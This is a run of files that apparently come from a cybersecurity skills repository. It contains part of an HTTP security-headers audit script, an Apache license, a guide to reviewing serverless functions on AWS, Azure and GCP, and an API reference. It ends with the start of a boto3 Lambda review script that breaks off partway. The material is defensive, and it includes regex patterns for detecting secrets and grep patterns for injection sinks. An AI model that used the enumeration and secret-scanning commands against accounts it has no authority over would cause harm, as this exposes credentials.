def check_permissions_policy(self, headers):
|
||||
"""Check Permissions-Policy."""
|
||||
pp = headers.get("Permissions-Policy", headers.get("permissions-policy", ""))
|
||||
return {
|
||||
"header": "Permissions-Policy",
|
||||
"present": bool(pp),
|
||||
"value": pp[:200] if pp else "",
|
||||
"severity": "Low" if not pp else "Info",
|
||||
"recommendation": "Add: Permissions-Policy: camera=(), microphone=(), geolocation=()" if not pp else None,
|
||||
}
|
||||
|
||||
def check_info_disclosure(self, headers):
|
||||
"""Check for information disclosure headers."""
|
||||
findings = []
|
||||
disclosure_headers = ["Server", "X-Powered-By", "X-AspNet-Version", "X-Generator"]
|
||||
for h in disclosure_headers:
|
||||
value = headers.get(h, headers.get(h.lower(), ""))
|
||||
if value:
|
||||
findings.append({
|
||||
"header": h,
|
||||
"value": value,
|
||||
"severity": "Low",
|
||||
"recommendation": f"Remove or genericize {h} header",
|
||||
})
|
||||
return findings
|
||||
|
||||
def check_cookie_security(self, cookies):
|
||||
"""Audit cookie security attributes."""
|
||||
findings = []
|
||||
for cookie in cookies:
|
||||
attrs = cookie.get("attributes", {})
|
||||
issues = []
|
||||
if not attrs.get("secure"):
|
||||
issues.append("Missing Secure flag")
|
||||
if not attrs.get("httponly"):
|
||||
issues.append("Missing HttpOnly flag")
|
||||
samesite = str(attrs.get("samesite", "Not set"))
|
||||
if samesite == "Not set" or samesite == "None":
|
||||
issues.append(f"SameSite={samesite}")
|
||||
|
||||
if issues:
|
||||
findings.append({
|
||||
"cookie": cookie["name"],
|
||||
"issues": issues,
|
||||
"severity": "High" if "Secure" in str(issues) else "Medium",
|
||||
})
|
||||
return findings
|
||||
|
||||
def calculate_grade(self, header_findings):
|
||||
"""Calculate a letter grade based on findings."""
|
||||
score = 100
|
||||
for f in header_findings:
|
||||
if not f.get("present", True):
|
||||
sev = f.get("severity", "Info")
|
||||
if sev == "High":
|
||||
score -= 20
|
||||
elif sev == "Medium":
|
||||
score -= 10
|
||||
elif sev == "Low":
|
||||
score -= 5
|
||||
if f.get("issues"):
|
||||
score -= len(f["issues"]) * 5
|
||||
|
||||
if score >= 90:
|
||||
return "A"
|
||||
elif score >= 80:
|
||||
return "B"
|
||||
elif score >= 60:
|
||||
return "C"
|
||||
elif score >= 40:
|
||||
return "D"
|
||||
return "F"
|
||||
|
||||
def run_audit(self, paths=None):
|
||||
"""Run complete security headers audit."""
|
||||
if paths is None:
|
||||
paths = ["/"]
|
||||
|
||||
all_findings = []
|
||||
for path in paths:
|
||||
response_data = self.fetch_headers(path)
|
||||
if "error" in response_data:
|
||||
continue
|
||||
|
||||
headers = response_data["headers"]
|
||||
findings = {
|
||||
"path": path,
|
||||
"hsts": self.check_hsts(headers),
|
||||
"csp": self.check_csp(headers),
|
||||
"x_frame_options": self.check_frame_options(headers),
|
||||
"x_content_type_options": self.check_content_type_options(headers),
|
||||
"referrer_policy": self.check_referrer_policy(headers),
|
||||
"permissions_policy": self.check_permissions_policy(headers),
|
||||
"info_disclosure": self.check_info_disclosure(headers),
|
||||
"cookie_security": self.check_cookie_security(response_data.get("cookies", [])),
|
||||
}
|
||||
all_findings.append(findings)
|
||||
|
||||
header_checks = []
|
||||
if all_findings:
|
||||
f = all_findings[0]
|
||||
header_checks = [f["hsts"], f["csp"], f["x_frame_options"],
|
||||
f["x_content_type_options"], f["referrer_policy"],
|
||||
f["permissions_policy"]]
|
||||
|
||||
report = {
|
||||
"target": self.target_url,
|
||||
"audit_date": datetime.utcnow().isoformat(),
|
||||
"grade": self.calculate_grade(header_checks),
|
||||
"findings": all_findings,
|
||||
}
|
||||
print(json.dumps(report, indent=2))
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: agent.py <target_url> [path1,path2,...]")
|
||||
sys.exit(1)
|
||||
|
||||
target_url = sys.argv[1]
|
||||
paths = sys.argv[2].split(",") if len(sys.argv) > 2 else ["/"]
|
||||
|
||||
agent = SecurityHeadersAgent(target_url)
|
||||
agent.run_audit(paths)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,306 @@
|
||||
---
|
||||
name: performing-serverless-function-security-review
|
||||
description: 'Performing security reviews of serverless functions across AWS Lambda,
|
||||
Azure Functions, and GCP Cloud Functions to identify overly permissive execution
|
||||
roles, insecure environment variables, injection vulnerabilities, and missing runtime
|
||||
protections.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: cloud-security
|
||||
tags:
|
||||
- cloud-security
|
||||
- serverless
|
||||
- lambda
|
||||
- azure-functions
|
||||
- cloud-functions
|
||||
- security-review
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.IR-01
|
||||
- ID.AM-08
|
||||
- GV.SC-06
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1078.004
|
||||
- T1530
|
||||
- T1537
|
||||
- T1580
|
||||
- T1055
|
||||
---
|
||||
|
||||
# Performing Serverless Function Security Review
|
||||
|
||||
## When to Use
|
||||
|
||||
- When auditing serverless applications before production deployment
|
||||
- When investigating potential data exposure through function environment variables or logs
|
||||
- When assessing the blast radius of a compromised serverless function execution role
|
||||
- When compliance reviews require documentation of serverless security controls
|
||||
- When building secure-by-default templates for serverless deployments
|
||||
|
||||
**Do not use** for container or VM security assessments (use container scanning tools), for API security testing (use DAST tools on the API Gateway layer), or for real-time serverless threat detection (use AWS Lambda Extensions with security agents).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- AWS CLI, Azure CLI, and gcloud CLI configured with appropriate permissions
|
||||
- Access to read function configurations, policies, and execution roles
|
||||
- Prowler or Checkov for automated serverless security scanning
|
||||
- SAM CLI or Serverless Framework for local function analysis
|
||||
- CloudTrail, Azure Monitor, or Cloud Audit Logs enabled for function invocation monitoring
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Enumerate All Serverless Functions and Configurations
|
||||
|
||||
List all functions across cloud providers with their runtime, memory, timeout, and network settings.
|
||||
|
||||
```bash
|
||||
# AWS Lambda: List all functions with key security attributes
|
||||
aws lambda list-functions \
|
||||
--query 'Functions[*].[FunctionName,Runtime,MemorySize,Timeout,Role,VpcConfig.VpcId,Layers[*].Arn]' \
|
||||
--output table
|
||||
|
||||
# Check for functions using deprecated runtimes
|
||||
aws lambda list-functions \
|
||||
--query 'Functions[?Runtime==`python3.7` || Runtime==`nodejs14.x` || Runtime==`dotnetcore3.1`].[FunctionName,Runtime]' \
|
||||
--output table
|
||||
|
||||
# Azure Functions: List all function apps
|
||||
az functionapp list \
|
||||
--query "[].{Name:name, Runtime:siteConfig.linuxFxVersion, ResourceGroup:resourceGroup, HttpsOnly:httpsOnly}" \
|
||||
-o table
|
||||
|
||||
# GCP Cloud Functions: List all functions
|
||||
gcloud functions list \
|
||||
--format="table(name, runtime, status, httpsTrigger.url, serviceAccountEmail, vpcConnector)"
|
||||
```
|
||||
|
||||
### Step 2: Audit Execution Role Permissions
|
||||
|
||||
Review IAM roles attached to functions for overly permissive policies.
|
||||
|
||||
```bash
|
||||
# AWS: Check each Lambda function's execution role
|
||||
for func in $(aws lambda list-functions --query 'Functions[*].FunctionName' --output text); do
|
||||
role_arn=$(aws lambda get-function-configuration --function-name "$func" --query 'Role' --output text)
|
||||
role_name=$(echo "$role_arn" | awk -F'/' '{print $NF}')
|
||||
echo "=== $func -> $role_name ==="
|
||||
|
||||
# List attached policies
|
||||
aws iam list-attached-role-policies --role-name "$role_name" \
|
||||
--query 'AttachedPolicies[*].[PolicyName,PolicyArn]' --output table
|
||||
|
||||
# Check for wildcard actions
|
||||
for policy_arn in $(aws iam list-attached-role-policies --role-name "$role_name" --query 'AttachedPolicies[*].PolicyArn' --output text); do
|
||||
version=$(aws iam get-policy --policy-arn "$policy_arn" --query 'Policy.DefaultVersionId' --output text)
|
||||
aws iam get-policy-version --policy-arn "$policy_arn" --version-id "$version" \
|
||||
--query 'PolicyVersion.Document' --output json | python3 -c "
|
||||
import json, sys
|
||||
doc = json.load(sys.stdin)
|
||||
for stmt in doc.get('Statement', []):
|
||||
actions = stmt.get('Action', [])
|
||||
if isinstance(actions, str): actions = [actions]
|
||||
resources = stmt.get('Resource', [])
|
||||
if isinstance(resources, str): resources = [resources]
|
||||
if '*' in actions or any(a.endswith(':*') for a in actions):
|
||||
print(f' WARNING: {stmt[\"Effect\"]} {actions} on {resources}')
|
||||
" 2>/dev/null
|
||||
done
|
||||
done
|
||||
```
|
||||
|
||||
### Step 3: Check Environment Variables for Secrets
|
||||
|
||||
Scan function environment variables for hardcoded credentials, API keys, and database connection strings.
|
||||
|
||||
```bash
|
||||
# AWS Lambda: Extract environment variables
|
||||
for func in $(aws lambda list-functions --query 'Functions[*].FunctionName' --output text); do
|
||||
envvars=$(aws lambda get-function-configuration --function-name "$func" \
|
||||
--query 'Environment.Variables' --output json 2>/dev/null)
|
||||
if [ "$envvars" != "null" ] && [ -n "$envvars" ]; then
|
||||
echo "=== $func ==="
|
||||
echo "$envvars" | python3 -c "
|
||||
import json, sys, re
|
||||
vars = json.load(sys.stdin)
|
||||
sensitive_patterns = [
|
||||
r'(?i)(password|secret|key|token|credential|api.?key)',
|
||||
r'(?i)(aws.?access|aws.?secret)',
|
||||
r'(?i)(database.?url|connection.?string|db.?pass)',
|
||||
r'AKIA[0-9A-Z]{16}'
|
||||
]
|
||||
for key, value in vars.items():
|
||||
for pattern in sensitive_patterns:
|
||||
if re.search(pattern, key) or re.search(pattern, str(value)):
|
||||
masked = value[:4] + '****' + value[-4:] if len(value) > 8 else '****'
|
||||
print(f' SENSITIVE: {key} = {masked}')
|
||||
break
|
||||
"
|
||||
fi
|
||||
done
|
||||
|
||||
# Azure Functions: Check app settings
|
||||
for app in $(az functionapp list --query "[].name" -o tsv); do
|
||||
rg=$(az functionapp show --name "$app" --query "resourceGroup" -o tsv)
|
||||
echo "=== $app ==="
|
||||
az functionapp config appsettings list \
|
||||
--name "$app" --resource-group "$rg" \
|
||||
--query "[?contains(name,'KEY') || contains(name,'SECRET') || contains(name,'PASSWORD')].{Name:name}" \
|
||||
-o table 2>/dev/null
|
||||
done
|
||||
```
|
||||
|
||||
### Step 4: Review Function Triggers and Access Controls
|
||||
|
||||
Verify that function triggers have appropriate authentication and authorization.
|
||||
|
||||
```bash
|
||||
# AWS: Check for unauthenticated Lambda function URLs
|
||||
aws lambda list-function-url-configs \
|
||||
--function-name FUNCTION_NAME \
|
||||
--query 'FunctionUrlConfigs[*].[FunctionUrl,AuthType,Cors]' --output table
|
||||
|
||||
# Check for resource-based policies allowing public invocation
|
||||
for func in $(aws lambda list-functions --query 'Functions[*].FunctionName' --output text); do
|
||||
policy=$(aws lambda get-policy --function-name "$func" --query 'Policy' --output text 2>/dev/null)
|
||||
if [ -n "$policy" ]; then
|
||||
echo "$policy" | python3 -c "
|
||||
import json, sys
|
||||
doc = json.loads(sys.stdin.read())
|
||||
for stmt in doc.get('Statement', []):
|
||||
principal = stmt.get('Principal', {})
|
||||
if principal == '*' or principal == {'AWS': '*'}:
|
||||
print(f'WARNING: $func has public invoke policy: {stmt.get(\"Sid\", \"unnamed\")}')" 2>/dev/null
|
||||
fi
|
||||
done
|
||||
|
||||
# GCP: Check for unauthenticated Cloud Functions
|
||||
gcloud functions list --format=json | python3 -c "
|
||||
import json, sys
|
||||
functions = json.load(sys.stdin)
|
||||
for func in functions:
|
||||
name = func.get('name', '').split('/')[-1]
|
||||
trigger = func.get('httpsTrigger', {})
|
||||
if trigger and func.get('ingressSettings') == 'ALLOW_ALL':
|
||||
print(f'WARNING: {name} allows all ingress traffic')
|
||||
"
|
||||
```
|
||||
|
||||
### Step 5: Analyze Function Code for Security Vulnerabilities
|
||||
|
||||
Review function code for common serverless security issues.
|
||||
|
||||
```bash
|
||||
# Download Lambda function code for review
|
||||
aws lambda get-function --function-name FUNCTION_NAME \
|
||||
--query 'Code.Location' --output text | xargs curl -o function.zip
|
||||
unzip function.zip -d function-code/
|
||||
|
||||
# Scan with Bandit (Python) or ESLint security plugin (Node.js)
|
||||
# Python functions
|
||||
pip install bandit
|
||||
bandit -r function-code/ -f json -o bandit-results.json
|
||||
|
||||
# Node.js functions
|
||||
npm install -g eslint @microsoft/eslint-plugin-sdl
|
||||
eslint --ext .js function-code/
|
||||
|
||||
# Check for common serverless vulnerabilities:
|
||||
# 1. SQL injection in database queries
|
||||
# 2. Command injection via os.system or subprocess
|
||||
# 3. Insecure deserialization
|
||||
# 4. Event data injection (untrusted event parameters)
|
||||
# 5. Excessive function permissions
|
||||
grep -rn "os.system\|subprocess\|eval(\|exec(" function-code/ || echo "No obvious injection patterns"
|
||||
grep -rn "pickle.loads\|yaml.load\b" function-code/ || echo "No deserialization risks"
|
||||
```
|
||||
|
||||
### Step 6: Run Automated Serverless Security Scanning
|
||||
|
||||
Execute Checkov and Prowler for automated compliance checks on serverless resources.
|
||||
|
||||
```bash
|
||||
# Checkov scan for serverless frameworks
|
||||
checkov -d ./serverless-project/ \
|
||||
--framework serverless \
|
||||
--output json > checkov-serverless.json
|
||||
|
||||
# Prowler Lambda-specific checks
|
||||
prowler aws \
|
||||
--checks lambda_function_no_secrets_in_variables \
|
||||
lambda_function_url_auth_type \
|
||||
lambda_function_using_supported_runtimes \
|
||||
lambda_function_not_publicly_accessible \
|
||||
-M json-ocsf \
|
||||
-o ./prowler-lambda/
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| Execution Role | IAM role assumed by a serverless function during execution that defines what AWS/cloud resources the function can access |
|
||||
| Event Injection | Serverless-specific attack where untrusted data in the event trigger payload is used unsafely in function logic |
|
||||
| Function URL | Direct HTTP(S) endpoint for invoking Lambda functions without API Gateway, which may be configured without authentication |
|
||||
| Cold Start | Initial function execution that includes container provisioning, during which security agents and extensions must initialize |
|
||||
| Resource-Based Policy | Policy attached to the function itself that defines who can invoke it, separate from the execution role |
|
||||
| Secrets Manager Integration | Pattern of retrieving sensitive configuration from a secrets management service rather than storing in environment variables |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **AWS Lambda**: Primary serverless compute platform with execution roles, layers, and resource policies
|
||||
- **Checkov**: Static analysis tool for infrastructure-as-code with serverless-specific security policies
|
||||
- **Prowler**: Cloud security tool with Lambda-specific checks for permissions, public access, and runtime versions
|
||||
- **Bandit**: Python static analysis tool for detecting security issues in function source code
|
||||
- **OWASP Serverless Top 10**: Security risk framework specific to serverless architectures
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Lambda Function with Admin Role Leaking Secrets via Environment Variables
|
||||
|
||||
**Context**: A security review discovers a Lambda function with `AdministratorAccess` execution role and database credentials stored in plaintext environment variables visible in CloudWatch logs.
|
||||
|
||||
**Approach**:
|
||||
1. Enumerate the function's execution role and discover `AdministratorAccess` managed policy
|
||||
2. Check environment variables and find `DB_PASSWORD`, `API_KEY`, and `STRIPE_SECRET_KEY` in plaintext
|
||||
3. Review CloudWatch logs and find credentials printed in debug log statements
|
||||
4. Create a scoped IAM policy granting only the specific DynamoDB and S3 actions needed
|
||||
5. Migrate secrets to AWS Secrets Manager and update function to retrieve at runtime
|
||||
6. Remove debug logging that outputs sensitive data
|
||||
7. Rotate all exposed credentials and enable Lambda function encryption with KMS
|
||||
|
||||
**Pitfalls**: Changing a function's execution role can break it if the new role is too restrictive. Test in a staging environment first. Environment variable changes trigger a new function version, so ensure aliases and triggers are updated. Secrets Manager calls add latency; cache secrets within the execution context to avoid per-invocation lookups.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
Serverless Function Security Review
|
||||
=======================================
|
||||
Account: 123456789012
|
||||
Functions Reviewed: 34
|
||||
Review Date: 2026-02-23
|
||||
|
||||
CRITICAL FINDINGS:
|
||||
[SRVL-001] Overly Permissive Execution Role
|
||||
Function: payment-processor
|
||||
Role: AdministratorAccess (full AWS access)
|
||||
Required Permissions: DynamoDB:PutItem, S3:GetObject (2 actions)
|
||||
Remediation: Create scoped policy with only required permissions
|
||||
|
||||
[SRVL-002] Secrets in Environment Variables
|
||||
Function: payment-processor
|
||||
Variables: DB_PASSWORD, STRIPE_SECRET_KEY, API_KEY
|
||||
Risk: Visible in console, API, and CloudWatch logs
|
||||
Remediation: Migrate to Secrets Manager, remove from env vars
|
||||
|
||||
SUMMARY:
|
||||
Functions with admin roles: 3 / 34
|
||||
Functions with secrets in env vars: 8 / 34
|
||||
Functions with deprecated runtimes: 5 / 34
|
||||
Functions with public access: 2 / 34
|
||||
Functions without VPC: 28 / 34
|
||||
Functions with wildcard permissions: 12 / 34
|
||||
```
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
# API Reference: Serverless Function Security Review
|
||||
|
||||
## Overview
|
||||
|
||||
Agent automates Lambda security reviews using boto3 to audit execution roles, environment variable secrets, deprecated runtimes, and public access configurations.
|
||||
|
||||
## Dependencies
|
||||
|
||||
| Package | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| boto3 | >= 1.28 | AWS SDK for Lambda and IAM API calls |
|
||||
| botocore | >= 1.31 | Exception handling for AWS API errors |
|
||||
|
||||
## Core Functions
|
||||
|
||||
### `list_all_functions(client)`
|
||||
Paginates through all Lambda functions in the region.
|
||||
- **Parameters**: `client` - boto3 Lambda client
|
||||
- **Returns**: `list[dict]` - full function configuration objects
|
||||
|
||||
### `check_deprecated_runtime(runtime)`
|
||||
Checks if a Lambda runtime is end-of-life.
|
||||
- **Parameters**: `runtime` (str) - Lambda runtime identifier
|
||||
- **Returns**: `bool` - True if deprecated
|
||||
|
||||
### `audit_execution_role(iam, role_arn)`
|
||||
Inspects attached IAM policies for wildcard actions and AdministratorAccess.
|
||||
- **Parameters**: `iam` - boto3 IAM client, `role_arn` (str)
|
||||
- **Returns**: `list[str]` - finding descriptions
|
||||
|
||||
### `check_env_secrets(env_vars)`
|
||||
Scans environment variables for sensitive patterns (passwords, API keys, AWS credentials).
|
||||
- **Parameters**: `env_vars` (dict) - Lambda environment variables
|
||||
- **Returns**: `list[str]` - masked sensitive variable findings
|
||||
|
||||
### `check_public_access(client, function_name)`
|
||||
Checks resource-based policies and function URLs for unauthenticated access.
|
||||
- **Parameters**: `client` - boto3 Lambda client, `function_name` (str)
|
||||
- **Returns**: `list[str]` - public access findings
|
||||
|
||||
### `run_review(region="us-east-1")`
|
||||
Orchestrates the full review across all functions. Returns structured report dict.
|
||||
|
||||
## AWS API Calls Used
|
||||
|
||||
| API Call | Service | Purpose |
|
||||
|----------|---------|---------|
|
||||
| `list_functions` | Lambda | Enumerate all Lambda functions |
|
||||
| `get_policy` | Lambda | Retrieve resource-based policy |
|
||||
| `list_function_url_configs` | Lambda | Check function URL auth type |
|
||||
| `list_attached_role_policies` | IAM | Get policies on execution role |
|
||||
| `get_policy_version` | IAM | Read policy document for wildcards |
|
||||
|
||||
## Environment Variables
|
||||
|
||||
| Variable | Required | Description |
|
||||
|----------|----------|-------------|
|
||||
| `AWS_ACCESS_KEY_ID` | Yes | AWS credential (or use IAM role) |
|
||||
| `AWS_SECRET_ACCESS_KEY` | Yes | AWS credential (or use IAM role) |
|
||||
| `AWS_DEFAULT_REGION` | No | Defaults to us-east-1 |
|
||||
|
||||
## Output Schema
|
||||
|
||||
```json
|
||||
{
|
||||
"total_functions": 34,
|
||||
"deprecated_runtimes": [{"function": "name", "runtime": "python3.7"}],
|
||||
"role_findings": ["CRITICAL: Role X has AdministratorAccess"],
|
||||
"secret_findings": [{"function": "name", "finding": "SENSITIVE: DB_PASSWORD = prod****word"}],
|
||||
"public_access_findings": ["PUBLIC ACCESS: func allows public invocation"]
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,153 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Serverless function security review agent using boto3."""
|
||||
|
||||
import json
|
||||
import re
|
||||
import boto3
|
||||
from botocore.exceptions import ClientError
|
||||
|
||||
|
||||
def get_lambda_client(region="us-east-1"):
|
||||
return boto3.client("lambda", region_name=region)
|
||||
|
||||
|
||||
def get_iam_client(region="us-east-1"):
|
||||
return boto3.client("iam", region_name=region)
|
||||
|
||||
|
||||
def list_all_functions(client):
|
||||
functions = []
|
||||
paginator = client.get_paginator("list_functions")
|
||||
for page in paginator.paginate():
|
||||
functions.extend(page["Functions"])
|
||||
return functions
|
||||
|
||||
|
||||
def check_deprecated_runtime(runtime):
|
||||
deprecated = [
|
||||
"python2.7", "python3.6", "python3.7", "nodejs10.x",
|
||||
"nodejs12.x", "nodejs14.x", "dotnetcore2.1", "dotnetcore3.1",
|
||||
"ruby2.5", "java8", "go1.x",
|
||||
]
|
||||
return runtime in deprecated
|
||||
|
||||
|
||||
def audit_execution_role(iam, role_arn):
|
||||
findings = []
|
||||
role_name = role_arn.split("/")[-1]
|
||||
try:
|
||||
attached = iam.list_attached_role_policies(RoleName=role_name)
|
||||
for policy in attached["AttachedPolicies"]:
|
||||
if policy["PolicyName"] == "AdministratorAccess":
|
||||
findings.append(f"CRITICAL: Role {role_name} has AdministratorAccess")
|
||||
